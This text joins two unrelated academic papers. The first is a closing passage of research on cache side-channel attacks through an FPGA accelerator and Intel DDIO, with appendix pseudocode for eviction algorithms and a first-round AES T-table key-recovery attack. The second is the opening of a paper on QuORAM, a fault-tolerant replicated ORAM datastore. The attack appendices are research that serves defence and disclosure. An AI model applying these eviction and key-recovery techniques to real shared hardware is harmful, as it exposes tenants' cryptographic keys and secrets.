behavior [40,54], or model parameters [65]. Additionally, cap-
turing all side-channel leaks remains difficult in practice [51].

Hardware-based countermeasures have attracted attention
in recent years, and are generally based on, e.g., partitioning
the cache [7, 32], randomizing the address-to-index mapping
[48, 61, 63], or approximating fully associative caches [6, 52].
For non-inclusive cache hierarchies, SECDIR [67] hardens the
coherence directory explicitly. However, existing hardware-
based proposals non-trivially interact with DDIO/DDIO+ re-
gions. Additionally, such countermeasures must make explicit
all potential transfers between cache levels, as undocumented
transfers (cf. Section 6.1) might endanger their security.

Runtime detection using on-die counters [4, 5, 71] could
be generalized to combined attackers. It should be investi-
gated whether they sufficiently capture accelerator activity.
For FPGAs, they can be embedded in the blue bitstream.

Some works propose limiting access to high-resolution
timers [35,59]. Such countermeasures do not generally thwart
combined attacks, as they can bring their own timing source.

Invalidating the findings of Section 3.2 counteracts the
results in this work. The accelerator would suffer if writes oc-
cupy the full set (#1), or reads alter LLC state (#2). However,
the performance implications are significant, and increasing
DDIO access to the cache improves attacks from accelerators
alone [27, 62]. The precise manipulation of the cache hierar-
chy (#3) seems to be fundamental to DDIO and is non-trivial to
disable. An exception is the unexpected cross-socket transfer
(cf. Section 6.1). This transaction is not essential to maintain
coherence. We believe it to be a performance heuristic.
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10 Conclusion

Heterogeneous multi-tenancy is a dangerous trend, providing
attackers with ever-more expressive primitives to manipulate
shared microarchitectural state. This work exposed undoc-
umented behavior in non-inclusive Intel caches and DDIO.
Leveraging these insights, we developed a proof-of-concept
FPGA hardware accelerator to shatter speed records for evic-
tion set construction, build covert channels with multi-bit
symbols, and evict lines from the cache with tiny sets.
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Appendix
A Access Time

The access times of various memory access operations are
given in Figure 9 (for 1000 measurements). As the bins show,
the access times easily allow distinguishing the operations.
In the case of secondary device reads from L2 and LLC, the
histograms do show a small overlap. However, during the
experiments, we rarely need to determine L2 accesses, but
often need to differentiate LLC and RAM accesses.

B Cache Manipulation Details

This section provides more insight into the migration between
different cache levels in the non-inclusive hierarchies of our
test platforms (cf. Section 2.6). We also relate this to state-
ments and observations of related work. Please refer to our
repository for supporting experiments.

When a line in memory is referenced by one of the cores, it
is installed in the L2 of that core, and tracked in the inclusive
coherence directory (CD) [66]. If the line is then referenced
by another core (cf. Figure 4d), it is installed in that core’s L2
as well. In addition, we observe that the line now has a copy
in the LLC, likely as a performance optimization. We find this
to happen immediately, i.e., already after one shared access,
in contrast to earlier studies that state it to happen only after
several accesses by processes on both cores [66], or not at
all [67]. Note that this does not contradict the non-inclusive

invariant of the LLC; lines in L2 may reside in the LLC si-
multaneously, but do not have to as they would in inclusive
hierarchies. Lines for which there is a copy in the LLC are no
longer tracked by the CD, i.e., their tag migrates to the LLC
along with the data. Thus, contention on the CD (Figure 4b)
no longer evicts such lines, as they no longer have a CD entry.

On Skylake-X, Yan et al. [66] find the associativity of the
structure that carries shared lines to be 11, matching with our
hypothesis that shared lines move to the LLC (W =11).

Our experiments confirm earlier statements [66, 67] that
lines evicted from the LLC are evicted from everywhere, i.e.,
they do not move back to L2 (with corresponding tracking in
CD), although it would be theoretically possible.

In summary, lines only in L2 caches are not evicted by LLC
contention as they do not have an entry there, in contrast to
inclusive LLCs. However, they can be moved to the LLC with
CD contention ( [66], Figure 4b) or, as we discover, with a
shared access (Figure 4d) or writes by the secondary device
(Figure 4e). In contrast, lines with at least one copy in the
LLC are not evicted by CD contention, but can be evicted from
the entire hierarchy with contention on the LLC.
Clarifying Attacks. For lines that are only present in the
LLC, e.g., after L2 contention (Figure 4a) or CD contention
(Figure 4b), what happens when they are referenced again by
a CPU core? We observe that unshared lines move back to L2
(and become tracked in CD), and that shared lines remain in
the LLC and are copied to L2 (still tracked in LLC).

The behavior for shared lines is essential to understand
EVICT+RELOAD (both ours and [66]). The fact that shared
lines remain to have an LLC copy is the reason why our
EVICT+RELOAD attacks need to evict the shared line from
the entire cache hierarchy. If we would only move it from
L2 to LLC, later accesses by the victim core would not be
observable. The line will be served to the attacker from the
faster LLC, regardless of a victim access.

The behavior for unshared lines is essential to understand
PRIME+PROBE [66]. When an unshared line is read from
LLC, it is moved to L2, tracking it in the CD again (and hence,
evicting another entry from there). Although this transfer of
tracking from LLC to CD was not mentioned explicitly in [66],
we believe it to be consistent with (and necessary for) their
PRIME+PROBE attack, where unshared lines migrate back
and forth between the LLC and the CD.

C Replacement Policy

Table 10 covers access patterns using three congruent lines {A,
B, C} and compares the observed (2-way associative) DDIO
region contents against the ones expected with various re-
placement policies, e.g., LRU, variants of Quad-Age LRU,
and RRIP. To reset the replacement policy, we first fill the re-
gion of interest with congruent lines {D, E, F} and flush them.
The patterns are placed to the DDIO region with secondary
writes, where every measurement is repeated 1000 times.
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Figure 9: A histogram showing the timing of indicated memory operations.

Table 10: Replacement Policy Experiment (DDIO). Discrep-
ancies between expected and observed states are indicated.

Access Cache Expected Contents with

Patterns Cont. LRU RRIP QUAD Variants

CBBAC BC AC CB AC AC CA
CBBBA AB AB AB AB AB BA
CBBCA AC CA CA CA CA BA
CBCAA AC CA CA CA CA AC
CBCAB AB BA CB CB BA AB

To our knowledge, the replacement policy for non-inclusive
Skylake and Cascade Lake CPUs has not been reverse-
engineered. Though we do not reverse-engineer the replace-
ment policy in this work, the knowledge that the replacement
policy is not plain LRU is already useful for our experiments.

We conducted similar tests for DDIO+ lines, and observed
an LRU-like policy. However, an exact reverse engineering of
that policy is complicated, as consecutive DDIO+ writes move
a line from LLC to L2, and then back to LLC, where it may be
considered to be a new address, instead of a cache hit. We
leave it as future work.

D Revisiting Eviction (Inverse Variant)

Algorithm 5 Eviction without CD - Inverse

L2V L2A LLC L2V L2A LLC

T

T T T T

T T T T T

On the right, the LLC and L2 states of victim (L2V ) and attacker
(L2A) are shown for each operation on the target address (T).

1: ? vic_CpuRd 3 7

2: att_CpuTime Remote L2 RAM

3: hlp_CpuRead
4: att_CpuEvict_LLC

Algorithm 5 exposes the inverse version of Algorithm 3. The
helper process (hlp) is running on another core as the main

Algorithm 6 Eviction with Reduced Eviction Set - Inverse

L2 LLC
1 0

1 0 M M

M M1 0

M T1 0 T M M1 0

M T1 0 M T1 0

3 21 0 3 21 0

3 2 M M1 0 3 2 M M1 0

M M3 2 M M3 2

On the right, the attacker’s L2 and LLC (with DDIO+ and DDIO ) are
shown, with lines 0-3, LLC magnet ways (M), and target (T) .
Prepare:

1: att_SecWr (0,1)
2: att_CpuWr (0,1)
3: att_SecWr (0,1)

Wait:
4: ? vic_CpuRd (T) 3 7

Measure & Reinstate:
5: att_CpuTime (T) Remote L2 RAM

6: hlp_CpuRd (T)
7: att_SecWr (2,3)
8: att_CpuWr (2,3)
9: att_SecWr (2,3)

Reiterate from line 4, swapping the roles of 0-1 and 2-3.

attacker process. It is added to ensure that the line moves to
LLC even if the victim does not access it, in order to remove it
from the cache hierarchy. Similarly, Algorithm 6 is the inverse
version of Algorithm 4. Both inverse algorithms are slightly
more complex, but seem to work across CPU sockets.

E AES T-Tables

To speed up the computation of the AES-128 block cipher,
table-based implementations consolidate a large part of the
round function into precomputed tables. The secret key k and
(known) plaintext p consist of 16 bytes (resp, ki and pi, for
0≤ i < 16). In every round, four tables are referenced, and for
the majority of the encryption rounds, these are tables Te0−3.

The proof-of-concept implements the first-round attack by
Osvik et al. [41], monitoring accesses to the first cache line
of tables Te0−3 for known plaintexts. The cache line corre-
sponding to Te j[pi⊕ ki] is always accessed in the first round,
where j = i mod 4. All other lines in Te j are often accessed,
yielding a statistical difference between the cache line cor-
responding to pi ⊕ ki, and the other lines of the table. By
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Figure 10: Reduced eviction (EV = 4) pattern for AES T-tables on the ACE1 platform (cf. Section 2.6). Upper key nibbles
(0x31415926deadbeef) can be read from the columns (full key used: 0x3010401050902060d0e0a0d0b0e0e0f0)

Table 11: The FPGA Resource Utilisation of Our Accelerator

Design PAC Type ALMs (%) REGs RAM

Ours A10 31,993 (7%) 46,382 119
Hello FPGA A10 30,759 (7%) 42,398 101

Ours S10 53,497 (6%) 67,266 157
Hello FPGA S10 53,095 (6%) 63,323 139

identifying the plaintext byte pi for which the first cache line
of Te(i mod 4) is accessed always, the attacker learns the upper
log2(

256
CLsize ) bits of ki. On modern platforms, with cache lines

of CLsize=64 bytes, this amounts to the upper four bits (i.e.,
half-byte or nibble) of ki. To learn which pi leads to the first
line always being accessed, the attacker submits plaintexts
with fixed pi and all other bytes random. This can be repeated
for all 16 key bytes ki (always fixing plaintext byte pi).

Figure 10 visually shows the described attack on AES
T-Tables using reduced eviction sets (EV=4), resp. for the
cross-core and cross-socket reduced eviction. For each com-
bination (byte index i, key nibble hypothesis), the example
performs 300 encryptions. The columns clearly reveal the
upper nibble of every key byte. For the cross-core setting, 300
encryptions per combination are sufficient to recover the full
key in all of 100 runs. For the cross-socket setting, the same
amount of successful encryptions is also sufficient, but the

target line may get stuck in the other socket (cf. Section 8.3).
This happens once per 12750 encryptions (average over 10
million encryptions). When it does, it can be detected, and
our proof-of-concept flushes the line from the cache. Hence,
in practice, an attacker may prefer to use full eviction in the
cross-socket case to increase the robustness against this event.

Many works have extended the original first-round attack to
full key recovery, as well as significantly reducing the number
of required encryptions. Such optimizations, while useful, are
out of scope for this attack example.

F FPGA Utilisation

Table 11 shows the resource utilization of our FPGA hard-
ware accelerator on two different Intel Programmable Accel-
eration Cards (PAC), with the most important column being
the Adaptive Logic Modules (ALM), which consist of both
programmable logic and registers (REGs). It is built based
on the hello fpga sample project provided by Intel3. Hence,
it consists of Intel-provided modules for interfacing with it
from software. The increase in utilization of our accelerator
compared to the sample project reflects its actual utilization.
The accelerator is very compact, as it barely increases the
amount of total FPGA resources (ALMs).

3The 03a_hello_world_mpf sample from the commit #ec7e78f of
https://github.com/OPAE/intel-fpga-bbb
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Abstract
Privacy and security challenges due to the outsourcing of

data storage and processing to third-party cloud providers
are well known. With regard to data privacy, Oblivious RAM
(ORAM) schemes provide strong privacy guarantees by not
only hiding the contents of the data (by encryption) but also
obfuscating the access patterns of the outsourced data. But
most existing ORAM datastores are not fault tolerant in that
if the external storage server (which stores encrypted data)
or the trusted proxy (which stores the encryption key and
other metadata) crashes, an application loses all of its data.
To achieve fault tolerance, we propose QuORAM, the first
ORAM datastore to replicate data with a quorum-based repli-
cation protocol. QuORAM’s contributions are three-fold: (i)
it obfuscates access patterns to provide obliviousness guaran-
tees, (ii) it replicates data using a novel lock-free and decen-
tralized replication protocol to achieve fault tolerance, and (iii)
it guarantees linearizable semantics. Experimentally evaluat-
ing QuORAM highlights counter-intuitive results: QuORAM
incurs negligible cost to achieve obliviousness when com-
pared to an insecure fault-tolerant replicated system; QuO-
RAM’s peak throughput is 2.4x of its non-replicated baseline;
and QuORAM performs 33.2x better in terms of throughput
than an ORAM datastore that relies on CockroachDB, an
open-source geo-replicated database, for fault tolerance.

1 Introduction

Due to the cloud’s core policy of pay-by-use, individuals and
organizations are increasingly shifting from managing their
own storage servers to renting storage from third-party cloud
providers. Today, many products with high traffic, such as
Twitter [5], Spotify [4], and Netflix [3], rely on cloud storage
for some or all of their data storage requirements.

The cloud’s convenience, however, comes at the cost of
potentially compromising the privacy of the outsourced data.
This privacy concern slows down the adoption of cloud ser-
vices for many businesses [11]. Even with the encrypted data,
users’ access patterns can leak sensitive information to the
cloud provider. Consider an example where a doctor stores
patient records in a third-party cloud. If the doctor accesses a
given patient’s record more frequently than usual over a period
of time, an intruder can infer some information about the pa-
tient’s medical status. In fact, many works [9,15,17,19,21,22]
have shown concrete inference attacks by exploiting access
patterns alone.

The privacy of outsourced data requires first to hide the data
content through encryption, and then to obfuscate the access
pattern to that encrypted data. Oblivious RAM, or ORAM, a
cryptographic primitive originally introduced by Goldreich
and Ostrovsky [16], achieves access pattern obliviousness. Al-
though ORAM originally protected software executing on a
single machine from an adversary on that same machine [16],
ORAM’s functionalities are now extended to protect data ac-
cesses on remote storage [7, 10, 13, 25, 31–34]. Summarizing
the general idea in these works: they break up the data into
logical blocks, each stored at a unique physical addresses on
the external server. After each access to a logical block, the
ORAM scheme shuffles the physical address, thereby map-
ping any sequence of logical memory accesses to a sequence
of random physical memory accesses.

Broadly speaking, many remote ORAM system architec-
tures [7, 13, 14, 31, 33] consist of three-layers: an untrusted
cloud storage server, a trusted proxy, and the clients. An ap-
plication encrypts its data under a key K and outsources the
encrypted data onto an untrusted storage server. The trusted
proxy holds the key K and accesses the storage server on
behalf of the application’s clients. Clients send read and write
requests to the proxy, which then communicates with the
server according to an ORAM scheme and responds back to
the clients. An ORAM scheme translates client requests into a
sequence of storage server accesses that are indistinguishable
from other client request translations.

Recent proposals enhance the efficiency of ORAM
schemes [7, 8, 10, 13, 14, 31, 33, 39, 40] by supporting con-
current and asynchronous client accesses. However, in most
of these proposals, the proxy and the storage server are not
fault tolerant, deeming both components as single points of
failure. If either crashes, the data becomes unavailable to
users. Putting it differently, mitigating the privacy concerns of
cloud storage derails one of the most significant advantages
of the cloud: fault tolerance.

To date, Obladi [13] is the only ORAM system to toler-
ate crash failures without losing the system’s state. For the
storage server, Obladi relies on the standard fault tolerance
guarantees of cloud storage servers and assumes a highly
available server. For the proxy, Obladi meticulously pushes
‘valid’ proxy states to the cloud storage such that after a crash,
the proxy resets to the last valid state stored fault-tolerantly
in the cloud. The main problem with this approach is that
although a proxy’s relevant state can be recovered from the
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storage after a crash, the system cannot progress while the
proxy is down. Moreover, delegating fault tolerance to the
cloud incurs higher latencies than an ORAM system with
inherent fault tolerance guarantees, as shown in the later sec-
tions of this paper.

In distributed systems, the gold standard for fault tolerance
is state machine replication. Zakhary et al. [41] discuss repli-
cation to tolerate failures in ORAM systems and demonstrate
the challenges of employing standard design choices – such
as locking and quorum-based read-writes – in an ORAM sys-
tem. The authors discuss only the risks of standard design
choices for replication in ORAM systems rather than provide
any solution to tolerate failures.

In this paper, we present, QuORAM, the first (quorum)
replicated fault-tolerant ORAM system, consisting of mul-
tiple untrusted cloud storage instances and trusted proxies.
QuORAM replicates the data on multiple storage instances,
where each storage instance is accessed through its indepen-
dent trusted proxy. A subset of these replicas serve each client
request, thus allowing the system to tolerate some failures at
both the storage and the proxy layers.

Serving client requests from only a subset of replicas
raises the challenge of consistency, which we define using
linearizable semantics: “each operation applied by concurrent
processes [appears to take] effect instantaneously at some
point between its invocation and its response” [18]. Note
that the operations themselves need not take effect instanta-
neously across all replicas (and cannot, in the presence of
asynchronous network delay); they only need to appear in-
stantaneous to the clients. We address this challenge and
prove that QuORAM guarantees linearizable semantics.

Apart from obliviousness and fault tolerance, QuORAM
achieves the following additional functionalities:

1. It supports multiple concurrent reads and writes,
2. It has no single point of failure,
3. It replicates data across multiple (possibly colluding)

cloud storage servers, and
4. It guarantees linearizable semantics.
In the rest of the paper, §2 provides background on the

ORAM scheme on which we build QuORAM; §3 describes
the system and failure model of QuORAM; §4 defines the
security model of QuORAM; §5 proposes the replication and
ORAM scheme designs on QuORAM; and §6 experimentally
evaluates QuORAM with three baselines. Appendices A and
B detail the security and linearizability proofs of QuORAM.

2 Background
This section introduces an ORAM scheme, TaORAM [31],
that acts as a building block of QuORAM. TaORAM en-
sures obliviousness in the presence of concurrent, arbitrarily-
scheduled accesses while preserving linearizable semantics.
TaoStore’s [31] ORAM scheme, TaORAM, builds upon an-
other ORAM scheme Path ORAM [35]. Path ORAM organ-
ises data into a tree of buckets, each of which contains multiple

Figure 1: TaORAM’s architecture

data blocks. Path ORAM maps each block’s position to a leaf
node lf, and stores the block in any one of the buckets along
the path from the root to that leaf lf. TaoStore [31] extends
Path ORAM for asynchronous and concurrent queries. Tao-
Store’s system architecture (Figure 1) consists of a storage
server, a proxy, and the clients. The storage server stores the
encrypted data in a tree and the clients access the data by
sending read/write requests to the trusted proxy; the proxy
accesses the storage server on behalf of the clients (using the
encryption key it stores) according to the TaORAM protocol.

The proxy consists of two components: a Sequencer and
a Processor. The Sequencer communicates with clients and
the Processor communicates with the server. The Sequencer
maintains a FIFO request queue, which stores client requests
in the order they arrive. When the proxy finds a response
to a client request (after communicating with the server), the
Sequencer forwards responses to clients in the request queue’s
FIFO order. The Processor maintains three pieces of local
state: a position map, a local subtree, and a stash. The position
map stores a block’s leaf node id lf on whose path the block
resides. The local subtree consists of blocks already fetched
from the storage server (and possibly updated) but not yet
written back, whereas blocks that do not fit in the subtree are
stored in the stash. After the Processor fetches k paths, where
k is a system configuration constant, a background thread
writes those paths back to the server and deletes their contents
from the local subtree. As k increases, the amount of memory
consumed by the proxy also increases.

At a high level, TaORAM executes the following steps for
both reads and writes to a block B:
1) Let P be the path containing block B. TaORAM fetches P
from the server if not already fetched; otherwise, it performs
a fake read by fetching a random path.
2) TaORAM adds the read path to the local subtree. For write
operations, it updates the value of B in the local subtree.
3) TaORAM answers the client’s request with B’s value.
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Figure 2: QuORAM Architecture

4) It assigns B to a new random path P′ and updates the
position map accordingly.
5) TaORAM next executes flushing: it reassigns each block
in the subtree’s path P or in the stash to the lowest non-full
bucket intersecting with P and P′, the block’s newly assigned
path. If no such bucket exists, TaORAM moves the block to
the stash. TaORAM [31] proves that the stash size is bounded.
6) If TaORAM fetched k paths since the last write-back
(where k is a system configuration constant), it writes those
k paths from the subtree to the storage server. It then deletes
all blocks in these k paths with no in-progress requests and
retains blocks modified since initiating the write-back.

Although TaORAM preserves linearizability (as the authors
proved in [31]), by itself, TaORAM does not tolerate failures.
A user loses access to the data if the proxy or the storage
server become unavailable. Additionally, the data cannot be
recovered if the proxy or/and the storage server lose data.

3 System and Failure Model
Given the lack of fault tolerance in TaORAM and almost all
existing ORAM datastores, we propose QuORAM, an ORAM
datastore that provides fault tolerance via replication. This
section presents the system and failure models of QuORAM.

3.1 System Model
QuORAM is a replicated oblivious data storage system that
supports single key read and write operations on a key-value
store, modeled as GET() and PUT() requests.1 QuORAM has
the same three-layered structure as a non-replicated ORAM
system: untrusted storage servers to store encrypted data,
application controlled trusted proxies to answer client re-
quests by accessing the storage server, and clients who send
read/write requests to the proxies. Typically in non-replicated
ORAM systems, the overall state of the data is split between
the proxy and the external storage. Extending an ORAM
system to include replication also requires maintaining this
one-to-one correspondence between a proxy and a storage
server. Hence QuORAM replicates storage servers and prox-
ies in pairs such that each proxy contacts exactly one storage
server, and no two proxies contact the same storage server.

1Inserts and deletes are modeled using GET() and PUT() requests.

We refer to a pair of ORAM server and proxy as an ORAM
unit and depict the system architecture in Figure 2. Although
not a requirement, since QuORAM aims to tolerate crash fail-
ures, we envision QuORAM to be a geo-replicated datastore
wherein the ORAM units and the clients accessing the data
are all geo-distributed.

Within each ORAM unit, the external server S stores en-
crypted data while the corresponding proxy stores the re-
spective secret key that encrypts S’s data. The proxies in
QuORAM also store other metadata necessary for the ORAM
scheme (explained more in §5). All proxies in the system
run the same ORAM scheme, translating each ORAM oper-
ation into a sequence of storage server operations. From a
client’s perspective, it treats an ORAM unit as a black box
that exposes a read-write interface.

3.2 Failure Model
Crash failures: Our goal in developing a replicated ORAM
system is to provide durability and failure tolerance compa-
rable to production cloud storage. An ORAM unit enters a
failed state when its storage server and/or its proxy crashes or
when network partitions occur. These failures are effectively
equivalent to the entire unit being unreachable: since the
proxy holds the encryption secret key, the data accessed from
the storage server cannot be decrypted without the proxy’s
decryption key, and the proxy’s key is useless without the data
from its corresponding storage server. As such, we consider
an ORAM unit failure to be a single failure event, regardless
of which component actually failed.

To tolerate a maximum of f failures, QuORAM replicates
data onto 2 f +1 ORAM units. When a failed unit (server
and proxy) resumes operation after a crash, it resumes the
state before the crash. If an application assumes that a failed
unit does not recover its previous state upon crash recovery,
then the recovered unit can copy the current state from a
majority of the ORAM units (this is because QuORAM relies
on majority quorums to replicate the data and reading data
from a majority guarantees reading the latest values of data,
as will be discussed in §5.1).

All communication channels – clients to proxies, prox-
ies to servers – are asynchronous, unreliable, and insecure.
QuORAM secures all communication channels by employing
encryption mechanisms such as transport layer security to
mitigate message tampering.

Threat model: QuORAM assumes an honest-but-curious
adversary that executes the designated protocol correctly. An
adversary may control one or all external storage servers and
can observe, track, and analyze data accesses to and from
the server and perform inference attacks based on the ac-
cess patterns. The adversary can control the asynchronicity
of the network and also schedule read/write requests via a
compromised client. Crash failures are consistent with the
honest-but-curious adversarial model, hence we do not con-
sider more severe malicious failure modes in this paper. The
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goal is to design an oblivious data storage system that tol-
erates catastrophic crash failures under the aforementioned
adversarial model.

4 Security Model: Obliviousness in a Repli-
cated ORAM Setting

Existing definitions of obliviousness are insufficient to cap-
ture the security of a replicated ORAM system because even
if a single proxy-server pair provides ORAM guarantees, the
choice of replication protocol may leak non-trivial informa-
tion. Consider quorum-based replication protocols such as
CRAQ [37] or Hermes [20]. In these works, read requests
access a single node (i.e., single-node read quorums) and
write requests access all the nodes in the system (i.e., all-node
write quorums, which intersect with all single-node read quo-
rums). Deploying such schemes allows an adversary to distin-
guish between read and write operations by merely observing
how many units are accessed for an operation, regardless of
whether the ORAM scheme leaks any information about the
operation type.

To formalize the above information leak, we develop a
new definition of obliviousness, adapted from the notion of
aaob-security ( adaptive asynchronous obliviousness) from
TaORAM [31]. Intuitively, an ORAM scheme is aaob-secure
if any two sequences of operations and any two data sets are
indistinguishable to the attacker. This section first defines the
ORAM scheme of QuORAM and then presents a security
game based on which we define the security of replicated
ORAM datastores.

4.1 ORAM scheme definition
A typical asynchronous ORAM scheme consists of two mod-
ules ORAM = {Encode, OClient}. Encode encrypts data D, and
produces Denc and a secret key K. An external server stores
Denc and a stateful ORAM client, OClient, stores K. QuO-
RAM uses the above definition of ORAM = {Encode, OClient}
for individual ORAM units but extends it to a list: Rep-ORAM
= (ORAM1, ORAM2, ..., ORAMn) for n ORAM units. Each
ORAM unit ORAMi’s Encode module receives the same data
D. Given D, the Encode module outputs a secret key Ki and
the data set DencKi encrypted with Ki after internally shuffling
the data in a random order. The shuffling mitigates identical
access patterns across different storage servers at the begin-
ning of execution. The ith external server stores DencKi and
the corresponding ith OClient retains Ki – both the server and
OClient (executed by proxy) form an ORAM unit, ORAMi.

Individual OClient’s execute ORAM requests denoted as
(op, bid, v) where op ∈ {read, write}, bid represents a data
block’s id, and v=⊥ for reads or a new block value for writes.
These operations result in read/write accesses to the storage
server. While an OClient process recognizes a single type
of operation – ORAM operation – represented by (op, bid,
v), QuORAM distinguishes between two types of operations:
logical and ORAM. Logical operations are client requested

read/write operations2 represented as (lop, bid, v) – where lop
∈ {read, write}, bid is a data block’s id, and v=⊥ for reads or
an updated value for writes. Each logical operation in-turn
translates to a sequence of ORAM operations (op, bid, v)i sent
to an ORAM unit i. For example: a logical read can translate
to a set of ORAM reads sent to a quorum of ORAM units
followed by ORAM writes sent to that quorum.

4.2 Security definition
A replicated ORAM system, such as QuORAM, requires
a slightly different security definition compared to aaob-
security. The attack presented at the beginning of this sec-
tion of using CRAQ [37] or Hermes [20] replication protocol
clearly indicates that an aaob-secure system can still leak the
type of logical operation. Hence, we extend aaob-security
to include logical obliviousness i.e., l-aaob-security. l-aaob-
security is an indistinguishability based security definition,
which we define using a game G . The steps of the game are:

• The game picks a uniformly random bit b∈{0,1}, called
the challenge bit.

• An adversary A generates two same-sized sets of data D0
and D1. The game calls Rep-ORAM on Db, i.e., it calls
Db

encKi
,Ki ←Encodei(Db) for each ORAM unit i. The

external server and OClient of an ORAM unit i store the
encrypted data DencKi and the secret key Ki, respectively.

• The adversary, at any point in time, schedules two logical
operations (lopi,0, lopi,1) consisting of arbitrary logical
reads/writes. The game picks only one of the operations
lopi,b and executes a replication protocol chosen by the
replicated ORAM system by sending ORAM read/write
operations to the ORAM units. The game notifies the ad-
versary once the operation terminates without revealing
the actual result, as the adversary can easily guess the
challenge bit b based on the result.

• Throughout the above process, the adversary can read,
delay, drop, and learn the timing of (but not modify)
messages. The adversary can also cause any storage
server, proxy, and/or client to crash, with at most f
proxy/storage server failures.

• Finally, after scheduling any number of logical opera-
tions, the adversary decides on the value of the challenge
bit b. The game G returns True if the adversary chooses
the right bit; and otherwise returns False. At this point,
the game terminates.

We define l-aaob-advantage of the adversary A against
Rep-ORAM as

Advl−aaob
Rep−ORAM = 2∗Pr[G l−aaob

Rep−ORAM ⇒ True]−1 (1)

A replicated ORAM system is l-aaob-secure if
Advl−aaob

Rep−ORAM is negligible for any polynomial time

2Logical reads/writes are equivalent to a key-value store’s GETs/PUTs.
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adversary A , i.e., any polynomial-time adversary can guess
the challenge bit with probability negligibly higher than half.
In other words, an ORAM scheme is l-aaob-secure if any
two sequences of logical operations2 and any two data sets
are indistinguishable to the attacker.

5 QuORAM: a replicated ORAM datastore

This section presents the design of the replicated ORAM data-
store, QuORAM. In designing QuORAM, we aim to achieve
three goals: (i) obfuscate access patterns to achieve privacy
and l-aaob-security, (ii) replicate the data for fault tolerance,
and (iii) achieve the above two goals while preserving lin-
earizable semantics.

To describe how we achieve the above goals, this section
first discusses the design of a data replication protocol that
preserves linearizability, followed by the ORAM scheme that
hides access patterns.

5.1 QuORAM’s replication protocol
In describing QuORAM’s replication protocol, for now, we
assume the system employs a state-of-the-art ORAM algo-
rithm, TaORAM, as a black-box (this is relaxed in §5.2) and
focus only on the replication protocol that provides lineariz-
ability guarantees. Choosing an existing replication proto-
col or designing one is a non-trivial task due to preserving
obliviousness. To highlight the challenges in replicating an
ORAM datastore, we propose a naive solution followed by
QuORAM’s replication design.

Naive solution:
As discussed in §4, deploying optimized replication solu-

tions such as Hermes [20] or CRAQ [37] breaks obliviousness
because they access varying numbers of replicas for logical
read and write operations. The naive solution presented here
mitigates this challenge by deploying a single round replica-
tion protocol wherein a client accesses the same number of
ORAM units for both read and write operations. Note that
to ensure linearizability, the sites that handle read and write
requests, read quorum and write quorum, must intersect with
each other (e.g., majority quorums). In this single round multi-
cast protocol, assuming majority quorums, a client reads from
a majority and writes to a majority of the ORAM units.

While this solution is efficient since a client communicates
with the ORAM units only once, it violates linearizability.
We show how this solution breaks linearizability by provid-
ing an example. Consider a system with 3 replicated ORAM
units where clients read or write from 2 out of the 3 replicas.
A client c1 sends a write request for a data item identified
by key k, (k = v′) to ORAM units 1 and 2. Since the com-
munication channels are asynchronous, assume that ORAM
unit 1 receives the request and updates k’s value to v′ while
ORAM 2’s write request is in-transit. Now, another client c2
performs two consecutive reads on key k, once from ORAM
units 1 and 2 and subsequently from ORAM units 2 and 3. For

each request, the client chooses a read value corresponding to
the latest timestamp (typically achieved using totally ordered
timestamps [23]). For the first request, the client c2 reads the
most up-to-date value v′, whereas for the second request, it
reads only the older value of k.

This is a linearizability violation, as from the external
client’s perspective, the operations on k appear non-linear.

To circumvent this problem, the proxies can either deploy
a locking mechanism (as is typical in database systems and
as in Hermes [20]) or add another round of communication
to ensure the correct ordering of requests. But employing
a locking mechanism can breach obliviousness as locking
leads to deadlocks, and detecting/resolving deadlocks in dis-
tributed systems requires additional communication across
replica units. Since the adversary controls all communication
channels, such additional communication leaks non-trivial
information. Due to these reasons, QuORAM replicates the
data in a lock-free approach that uses two rounds of commu-
nication between a client and the ORAM units.

QuORAM’s replication
QuORAM’s replication protocol design is inspired by

Lynch and Shvartsman’s replication protocol [27]. In design-
ing the replication protocol, we follow the abstractions defined
in the Consensus and Commitment (C&C) framework [29],
which consists of four phases: Leader election, Value Discov-
ery, fault tolerance , and Decision. The C&C framework [29]
describes that most replication protocols are centralized in
that one of the replicas acts as a leader and drives the protocol
by communicating with other replicas. In such compositions,
the leader node can be overloaded and become a bottleneck.

QuORAM chooses a different decentralized approach in
which a client interested in reading or writing the data takes
on the role of a leader and communicates with all ORAM
units. This choice reduces the additional overhead on a single
leader unit and avoids an adversarial case where an adversary
delays the leader’s communication links, thwarting the system
performance.

Following the abstractions of the C&C framework, QuO-
RAM’s replication has two phases: in the first phase, a client
identifies the most up-to-date value of an item by reading from
a read quorum and in the second phase, it writes either the
identified value (for read requests) or the updated value (for
write requests) onto a write quorum of ORAM units, where
the read and write quorums have non-empty intersection. Us-
ing the terminology of Lynch and Shvartsman’s protocol [27],
we term the first phase as the query phase and the second as
the propagate phase. Given that some replica units’ states
may diverge due to crash or network failures, to easily iden-
tify the most up-to-date value of a given data item, each data
item in QuORAM additionally maintains a monotonically
increasing tag consisting of a sequence number and client
id, t =< seqNum,clientId >. This is analogous to version or
timestamp-based datastores.
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Figure 3: QuORAM’s replication protocol. Each circle represents
an ORAM unit and a client Cl executes the protocol.

Overview: Figure 3 represents a high-level description of
QuORAM’s replication protocol. A client who wants to logi-
cally read or write a key k executes the replication protocol
in two phases: query and propagate. The client first sends
ORAM read requests for key k to a read quorum of ORAM
units and waits to receive a response consisting of value v
and tag t from the read quorum. The actions of the propagate
phase depend on the type of client request: for logical reads
(GETs), the client selects the value v with the highest tag t
and multicasts ORAM write with v and t to a write quorum of
units. For logical writes (PUTs), the client creates a new tag
t ′ by incrementing the highest tag t (how will be explained
later) and multicasts the ORAM write with v′ and t ′ to a write
quorum of units where v′ is the new value. Upon receiving
the ORAM write request, proxies in QuORAM update the
value and tag if and only if the received tag t ′ is greater than
its own tag value. The propagate phase terminates when the
client receives acknowledgments from the write quorum. For
both logical read and write requests, a client considers its
request to be complete only after completing both phases.

From this overview, it is clear that if a client chooses differ-
ent read and write quorums in the query and propagate phases,
then both sets of quorum fetch a path, shuffle, and write it
back onto external servers. This creates unnecessary band-
width and compute overheads. QuORAM addresses this issue
by utilizing the same quorum for both query and propagate
phases. Since QuORAM reuses read and write quorums inter-
changeably, we stop distinguishing between read and write
quorums and impose a requirement that any two quorums
must intersect with each other (rather than imposing read and
write quorums must intersect). This way, a client can pick any
quorum for both query and propagate phases. While for sim-
plicity, QuORAM chooses majority quorums [38], i.e., sets of
⌈(N +1)/2⌉ ORAM units, the application can pick any other
quorum composition that guarantees non-empty intersection
between any two quorums (e.g., tree quorums [6] or grid quo-
rums [30]). Informally, utilizing the same quorum for both
the query and propagate phases does not leak any additional
